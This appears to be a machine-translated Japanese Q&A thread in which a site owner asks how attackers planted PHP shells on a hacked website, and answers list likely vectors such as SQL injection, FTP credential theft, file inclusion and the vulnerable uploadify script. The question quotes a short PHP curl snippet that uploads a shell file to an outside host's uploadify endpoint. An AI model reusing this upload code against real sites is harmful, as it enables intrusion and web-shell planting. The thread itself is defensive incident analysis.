web-dev-qa-db-ja.com

どうすればアップロードフォームなしでPHPファイルをサーバーにアップロードできますか?

既存のウェブサイトを委託されたのですが、デザインの部分に変更を加える必要がありましたが、アクセスしようとしたところ、改ざんされていました。問題を検索しているときに、次のコードを含むエクスプロイトPHPファイルが見つかりました:

$uploadfile="Shell.php.jpg";

$ch = curl_init("http://macwallpaper.net/wp-content/themes/echea/js/uploadify/uploadify.php");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,

array('Filedata'=>"@$uploadfile"));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

print "$postResult";

このスクリプトが何をしているのかはわかりますが、攻撃者がスクリプトをサーバーにアップロードする方法を知りません。ウェブサイトの唯一のフォームは連絡フォームで、メール機能のないHTML部分のみでした。さらに、さらに4つのPHPファイルがシェルとして設計されており、内部に多くのコードが含まれているため、ここには投稿しません。).

フォームをアップロードせずに、実際にはフォームなしで、このようなパッケージをデプロイする方法はありますか?

編集:ウェブサイトにはデータベースがありますが、管理ポータルやクライアントゾーンのような他の制御プラットフォームはありません(データベースへの直接アクセスはありません)。ftpはありますが、ssh/scpに関する他の情報はありません。等々。

5
Jason

方法はたくさんあります。 Webサイトの主な機能から判断すると、攻撃者は次のものを使用する可能性があります。

  • SQLインジェクション:データベースに直接アクセスする必要はありません。技術的な詳細が必要な場合は、 この質問とその回答で、SQLインジェクションからシェルを取得するさまざまな方法について説明します ;

  • 資格情報の盗難:攻撃者がFTP資格情報を盗んだり取得したりする可能性があります。これはブルートフォース攻撃によって発生する可能性がありますが、標準のFTPは暗号化されておらず、パスワードはクリアテキストで送信されるため、攻撃者は接続を傍受して(たとえば、公共のWi-Fiネットワークを使用している場合)、パスワードを入手することもできますこれらのファイルをアップロードするために使用しました。

  • ファイルインクルード(LFI/RFI):Webサイトが慎重に設計されていない場合、攻撃者は、フォーム、データベース、または盗まれた認証情報がなくても、PHPファイルをアップロードする可能性があります。詳細情報: https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion and https://www.owasp.org/index .php/Testing_for_Remote_File_Inclusion ;

  • コンピューターのマルウェア:Webサイトにアクセスするために使用するコンピューターに攻撃者がマルウェアを感染させる可能性があります。マルウェアは、WebサイトにPHPファイルをアップロードするために使用される可能性があります。あなたがそれをしたかのように。コンピューターにマルウェアを感染させる方法はいくつかあることをすでにご存じでしょうが、ここではその方法を取り上げます。 スピアフィッシング;

  • 無数の他の方法https://www.owasp.org をご覧になることを強くお勧めします。これには、コードレビューの実行方法、一般的な脆弱性についてWebサイトをテストする方法、最終的にほとんどの攻撃からWebサイトを防御する方法など、Webアプリケーションのセキュリティに関する多くの情報が含まれています。

6
A. Darwin

https://www.exploit-db.com でuploadifyを検索すると、JSスクリプトがテーマの一部であり、任意のファイルアップロードの脆弱性に対して脆弱であることがわかります。

そのスクリプトを削除しても、テーマは引き続き機能するか、より安全な別のテーマを使用できます。

2
user112287